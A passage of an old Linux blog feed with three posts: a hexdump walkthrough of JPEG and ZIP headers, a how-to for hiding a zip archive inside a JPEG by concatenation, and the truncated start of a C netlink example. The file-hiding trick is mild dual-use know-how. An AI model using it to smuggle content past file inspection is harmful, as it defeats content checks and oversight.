image first.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Jpg Header Format:&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Start of Image (SOI) marker -- two bytes (FFD8)&lt;br /&gt;JFIF marker (FFE0)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;  * length -- two bytes&lt;br /&gt;  * identifier -- five bytes: 4A, 46, 49, 46, 00 (the ASCII code equivalent of a zero terminated "JFIF" string)&lt;br /&gt;  * version -- two bytes: often 01, 02&lt;br /&gt;        o the most significant byte is used for major revisions&lt;br /&gt;        o the least significant byte for minor revisions&lt;br /&gt;&lt;br /&gt;  * units -- one byte: Units for the X and Y densities&lt;br /&gt;        o 0 =&gt; no units, X and Y specify the pixel aspect ratio&lt;br /&gt;        o 1 =&gt; X and Y are dots per inch&lt;br /&gt;        o 2 =&gt; X and Y are dots per cm&lt;br /&gt;  * Xdensity -- two bytes&lt;br /&gt;  * Ydensity -- two bytes&lt;br /&gt;  * Xthumbnail -- one byte: 0 = no thumbnail&lt;br /&gt;  * Ythumbnail -- one byte: 0 = no thumbnail&lt;br /&gt;  * (RGB)n -- 3n bytes: packed (24-bit) RGB values for the thumbnail pixels, n = Xthumbnail *&lt;br /&gt;     Ythumbnail&lt;br /&gt;&lt;/p&gt;&lt;/pre&gt;&lt;br /&gt;The bold words in the above header is of importance to us. The 4 byte value consisting of SOI and JFIF marker. This signifies the starting of the jpg image. Any standard image viewer searches the file for "d8ff e0ff" (little endian mode) pattern. Once this of found, marks the start of the jpg image. The end of the jpg image is marked with "0xd9ff" (little endian mode). A cat on the image is going to make sure that some data is written after 0xd9ff there by making it unnecessary for any image viewer to bother about data after 0xd9ff.&lt;br /&gt;&lt;br /&gt;Lets look at the zip header format.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Overall .ZIP file format:&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[local file header 1]&lt;/span&gt;&lt;br /&gt;[file data 1]&lt;br /&gt;[data descriptor 1]&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;[local file header n]&lt;br /&gt;[file data n]&lt;br /&gt;[data descriptor n]&lt;br /&gt;[archive decryption header]&lt;br /&gt;[archive extra data record]&lt;br /&gt;[central directory]&lt;br /&gt;[zip64 end of central directory record]&lt;br /&gt;[zip64 end of central directory locator]&lt;br /&gt;[end of central directory record]&lt;br /&gt;&lt;/p&gt;&lt;/pre&gt;&lt;br /&gt;The one that concerns us is local file header&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Local file header:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;local file header signature 4 bytes (&lt;span style="font-weight:bold;"&gt;0x04034b50&lt;/span&gt;)&lt;br /&gt;version needed to extract 2 bytes&lt;br /&gt;general purpose bit flag 2 bytes&lt;br /&gt;compression method 2 bytes&lt;br /&gt;last mod file time 2 bytes&lt;br /&gt;last mod file date 2 bytes&lt;br /&gt;crc-32 4 bytes&lt;br /&gt;compressed size 4 bytes&lt;br /&gt;uncompressed size 4 bytes&lt;br /&gt;file name length 2 bytes&lt;br /&gt;extra field length 2 bytes&lt;br /&gt;&lt;br /&gt;file name (variable size)&lt;br /&gt;extra field (variable size)&lt;br /&gt;&lt;/p&gt;&lt;/pre&gt;&lt;br /&gt;As seen in the bold letters is the signature of the start of the zip file. So the unzip program tries to find the above pattern in the file and assumes that the rest of the file till "end of central dir record" is reached. This explains why tar.gz or tar.bz2 files don't work while zip does. In other words, the gz/bz2 formats look for starting 4 bytes as identifiers and if not found will quit immediately.&lt;br /&gt;The following example will illustrate the file layout of the various file formats.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Example: Generated using hexdump&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Image file (jpg):&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;0000000 &lt;span style="font-weight:bold;"&gt;d8ff e0ff&lt;/span&gt; 1000 464a 4649 0100 0001 0100&lt;br /&gt;0000010 0100 0000 dbff 8400 1000 0c0b 0c0e 100a&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;0005b50 4792 d9ff&lt;br /&gt;0005b54&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As discussed, the hex value in bold indicates the start of the jpg file. Now lets look at the zip file.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Zip file (.zip):&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;0000000 &lt;span style="font-weight:bold;"&gt;4b50 0403&lt;/span&gt; 0014 0000 0008 776b 3a41 d8d9&lt;br /&gt;0000010 00d8 1109 000c 2c00 000d 0009 0015 6f77&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;00c1190 0100 0100 4400 0000 4500 0c11 0000 0000&lt;br /&gt;00c119f&lt;br /&gt;&lt;/p&gt;&lt;/pre&gt;&lt;br /&gt;After the concatenation, the file now consists of both jpg and zip content as shown below.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Embedded Image File (jpg):&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;0000000 &lt;span style="font-weight:bold;"&gt;d8ff e0ff&lt;/span&gt; 1000 464a 4649 0100 0001 0100&lt;br /&gt;0000010 0100 0000 dbff 8400 1000 0c0b 0c0e 100a&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;0005b50 4792 &lt;span style="font-weight:bold;"&gt;d9ff&lt;/span&gt; &lt;span style="font-weight:bold;"&gt;4b50 0403&lt;/span&gt; 0014 0000 0008 776b&lt;br /&gt;0005b60 3a41 d8d9 00d8 1109 000c 2c00 000d 0009&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;00c6ce0 0006 0000 0100 0100 4400 0000 4500 0c11&lt;br /&gt;00c6cf0 0000 0000&lt;br /&gt;00c6cf3&lt;br /&gt;&lt;/p&gt;&lt;/pre&gt; &lt;br /&gt;This little example must be able to clear out the doubts of how this works. Next step would be to manipulate the hex file to make zip program believe that jpg data is the zipped data. Stay tuned for more on this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-8159767787781407040?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/8159767787781407040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/02/theory-behind-hiding-zipped-file-under.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8159767787781407040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8159767787781407040'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/02/theory-behind-hiding-zipped-file-under.html' title='Theory Behind Hiding Zipped File Under Jpg Image'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1813687730645069343</id><published>2009-02-02T21:09:00.000-08:00</published><updated>2012-01-22T05:40:02.158-08:00</updated><title type='text'>Hiding Zipped Files Under Jpg Images</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Sometimes we come across situations when we have to hide certain files. There are many methods in which this can be accomplished. This is one of the many ways to do so. This applies to only zip file contents.&lt;br/&gt;&lt;br/&gt;Step 1: Zip the file/folder to be hidden&lt;br/&gt;&lt;p style='margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;'&gt;&lt;br/&gt;#zip xyz.ppt.zip xyz.ppt &lt;/p&gt;&lt;br/&gt;&lt;br/&gt;Lets assume that abc.jpg is the image we are using for the camouflage.&lt;br/&gt; &lt;br/&gt;Step 2: Hide the zipped contents&lt;br/&gt;&lt;p style='margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;'&gt;&lt;br/&gt;#cat abc.jpg xyz.ppt.zip &amp;gt; new.jpg&lt;/p&gt;&lt;br/&gt;&lt;br/&gt;The new.jpg will be jpg file that hides the zipped content. The file will have meta data as jpg and any image viewer will be able to open it. &lt;br/&gt;&lt;br/&gt;To extract the hidden contents:&lt;br/&gt;&lt;p style='margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;'&gt;&lt;br/&gt;#unzip new.jpg&lt;/p&gt; &lt;br/&gt;&lt;br/&gt;Vola!! Thats it. Its as simple as it is! Thanks to Naveed for this tip.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1813687730645069343?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1813687730645069343/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/02/hiding-zipped-files-under-jpg-images.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1813687730645069343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1813687730645069343'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/02/hiding-zipped-files-under-jpg-images.html' title='Hiding Zipped Files Under Jpg Images'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3197119736999864867</id><published>2009-01-28T03:15:00.000-08:00</published><updated>2012-01-22T05:40:02.263-08:00</updated><title type='text'>Sample Code To Learn Netlink Infrastructure</title><content type='html'>I always wanted to write an article explaining how netlink&lt;span style="font-family:monospace;"&gt;&lt;/span&gt; infrastructure works in the kernel and how we can make the&lt;span style="font-family:monospace;"&gt;&lt;/span&gt; best use of it. I dont have the time now, so in future i&lt;span style="font-family:monospace;"&gt;&lt;/span&gt;t will happen. As of now i wanted to share a sample code&lt;span style="font-family:monospace;"&gt;&lt;/span&gt; that will help users get the system ip information to&lt;span style="font-family:monospace;"&gt;&lt;/span&gt; the user space.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:monospace;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;errno.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;error.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;netdb.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;sys/ioctl.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;linux/if.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;linux/netlink.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#include &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;&amp;lt;linux/rtnetlink.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#define NIPQUAD(addr) \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ((&lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;unsigned&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; *)&amp;amp;addr)[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;], \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ((&lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;unsigned&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; *)&amp;amp;addr)[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;], \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ((&lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;unsigned&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; *)&amp;amp;addr)[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;], \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ((&lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;unsigned&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 255, 0);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt; *)&amp;amp;addr)[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#define NIPQUAD_FMT &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%u&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%u&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%u&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%u&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;&lt;br /&gt;#define NIP6(addr) \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]), \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]), \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]), \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]), \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]), \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]), \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;6&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;]), \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;        ntohs((addr).s6_addr16[&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;7&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;])&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#define NIP6_FMT &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;%04x&lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 64, 255);"&gt;#define INFINITY_LIFE_TIME      &lt;/span&gt;&lt;span style="color: rgb(255, 96, 96);"&gt;0xFFFFFFFFU&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;main()&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; {&lt;br /&gt;              &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; nlmsghdr n;&lt;br /&gt;              &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; ifaddrmsg r;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;//              char             buf[1024];                &lt;/span&gt;&lt;br /&gt;      } req;&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; rtattr *rta;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; sockaddr_in6 *sin6p;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; sockaddr_in *sinp;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;int&lt;/span&gt; status;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;char&lt;/span&gt; buf[&lt;span style="color: rgb(255, 96, 96);"&gt;16384&lt;/span&gt;];&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; nlmsghdr *nlmp;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; ifaddrmsg *rtmp;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; rtattr *rtatp;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;int&lt;/span&gt; rtattrlen;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; in_addr *inp;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; in6_addr *in6p;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; ifa_cacheinfo *cache_info;&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(0, 255, 0);"&gt;int&lt;/span&gt; fd = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; We use RTM_GETADDR to fetch the ip address from the kernel interface table *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;         * So what we do here is pretty simple, we populate the msg structure (req)   *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;         * the size of the message buffer is specified to netlink message header, and *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;         * flags values are set as NLM_F_ROOT | NLM_F_REQUEST. The request flag must  *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;         * be set for all messages requesting the data from kernel. The root flag is  *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;         * used to notify the kernel to return the full tabel. Another flag (not used)*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;         * is NLM_F_MATCH. This is used to get only speficed entried in the table.    *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;         * At the time of writing this program this flag is not implemented in kernel &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      memset(&amp;amp;req, &lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;, &lt;span style="color: rgb(255, 255, 0);"&gt;sizeof&lt;/span&gt;(req));&lt;br /&gt;      req.n.nlmsg_len = NLMSG_LENGTH(&lt;span style="color: rgb(255, 255, 0);"&gt;sizeof&lt;/span&gt;(&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; ifaddrmsg));&lt;br /&gt;      req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ROOT;&lt;br /&gt;      req.n.nlmsg_type = RTM_GETADDR;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; AF_INET6 is used to signify the kernel to fetch only ipv6 entires.         *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;        * Replacing this with AF_INET will fetch ipv4 address table.                 &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      req.r.ifa_family = AF_INET6;&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; Fill up all the attributes for the rtnetlink header. The code is pretty easy*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;        * to understand. The lenght is very important. We use 16 to signify the ipv6  *&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 255);"&gt; * address. If the user chooses to use AF_INET (ipv4) the length has to be     *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;        * RTA_LENGTH(4) &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      rta = (&lt;span style="color: rgb(0, 255, 0);"&gt;struct&lt;/span&gt; rtattr *)(((&lt;span style="color: rgb(0, 255, 0);"&gt;char&lt;/span&gt; *)&amp;amp;req) + NLMSG_ALIGN(req.n.nlmsg_len));&lt;br /&gt;      rta-&amp;gt;rta_len = RTA_LENGTH(&lt;span style="color: rgb(255, 96, 96);"&gt;16&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 255);"&gt;/*&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt; Time to send and recv the message from kernel &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      status = send(fd, &amp;amp;req, req.n.nlmsg_len, &lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;      &lt;span style="color: rgb(255, 255, 0);"&gt;if&lt;/span&gt; (status &amp;lt; &lt;span style="color: rgb(255, 96, 96);"&gt;0&lt;/span&gt;) {&lt;br /&gt;              